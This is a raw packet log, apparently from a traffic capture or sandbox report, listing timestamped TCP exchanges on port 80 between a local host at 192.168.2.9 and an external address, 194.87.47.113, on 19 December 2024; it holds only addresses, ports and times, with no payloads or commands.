Dec 19, 2024 08:01:11.579317093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.579593897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.579606056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.579617977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.579639912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.579664946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.580936909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.580949068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.580960035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.580985069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.581331968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.581372976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.611816883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.611830950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.611843109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.611895084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.611964941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.611994982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.612004995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.612009048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.612046003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.612734079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.612919092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.612968922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.613095045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613107920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613120079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613172054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.613847017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613859892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613872051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.613904953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.614097118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.614712000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.614722967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.614736080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.614769936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.615530014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.615540981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.615552902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.615586042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.615623951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.616261959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.616274118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.616322994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.616422892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.616492033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.616504908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.616583109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.617234945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.617248058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.617264032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.617280006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.617305994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.618024111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.618036032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.618047953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.618102074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.620184898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620203018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620240927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.620439053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620481968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.620676994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620687962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620701075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620718956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.620728016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620740891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620750904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.620769024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.620786905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.621099949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.621113062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.621124029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.621150017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.622004986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.622016907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.622028112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.622052908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.622085094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.622864962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623008013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623019934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623053074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.623483896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623497009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623509884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.623536110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.623562098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.624197006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.624387980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.624401093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.624438047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.624994993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625008106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625019073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625051975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.625072956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.625859976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625871897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625880003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.625920057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.626460075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.626512051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.626542091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.626555920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.626593113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.627506018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.627516985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.627527952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.627576113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.628055096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628067017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628078938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628093004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.628122091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.628832102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628854990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628866911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.628911972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.629565954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.629578114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.629587889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.629617929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.629628897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.633677006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.633758068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.633768082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.633805990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.634088993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634109020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634121895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634133101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.634175062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.634850025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634870052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634882927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.634910107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.635557890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.635606050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.635627985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.635641098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.635678053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.636464119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.636476994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.636488914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.636519909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.637187004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.637200117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.637209892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.637238979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.637264967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.637912989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.638098001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.638143063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.770538092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.770699024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.770713091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.770728111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.770744085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.770767927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.770809889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.771645069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.771666050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.771683931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.771697998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.771728992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.772309065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.772327900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.772347927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.772373915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.773027897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.773046970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.773066998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.773075104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.773108959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.773861885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.803931952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.803949118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804083109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804105043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.804136992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.804373980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804485083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804538965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.804816961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804830074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.804873943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.805232048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.805243015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.805257082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.805279970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.806058884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806078911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806104898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.806189060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806233883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.806724072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806735992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806747913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.806781054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.807512045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.807559967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.807678938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.807692051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.807730913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.808440924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.808588982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.808633089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.808732986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.808758020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.808798075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.808892965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.809520006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.809531927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.809544086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.809567928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.809583902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.810316086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810336113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810384989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.810457945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810888052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810904980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810910940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.810988903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.811021090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.811696053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.811830044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.811841965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.811882973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.812572002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.812592983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.812603951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.812623978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.812657118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.813496113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.813508987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.813523054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.813581944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.814146996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.814198017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.814296007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.814308882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.814393997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.814990997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815002918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815010071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815067053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.815777063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815788984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815797091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.815936089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.816411972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.816423893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.816436052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.816495895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.817224979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.817238092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.817250013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.817277908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.817307949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.818173885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818192959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818205118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818268061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.818851948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818864107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818876028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.818909883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.818932056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.819359064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.819489002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.819519043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.819545984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.820414066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.820435047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.820452929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.820462942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.820488930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.821028948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821192026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821213007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821238041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.821727991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821784973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821790934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.821804047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.821842909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.825927973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.825984001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.826014996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.826071978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.826263905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.826400995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.826425076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.826440096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.826476097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.827056885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827071905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827088118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827120066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.827805042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827821016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827836037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.827850103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.827869892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.828521013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.828536987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.828552008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.828587055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.829286098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.829301119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.829319000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.829324007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.829359055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.830019951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.830089092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.830127954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.962775946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.962831974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.962846041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.962884903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.962899923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.962918043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.962940931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.963735104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.963748932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.963763952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.963773966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.963795900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.964423895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.964438915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.964478970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.964507103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.965220928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.965236902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.965251923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.965265036 CET	49739	80	192.168.2.9	194.87.47.113
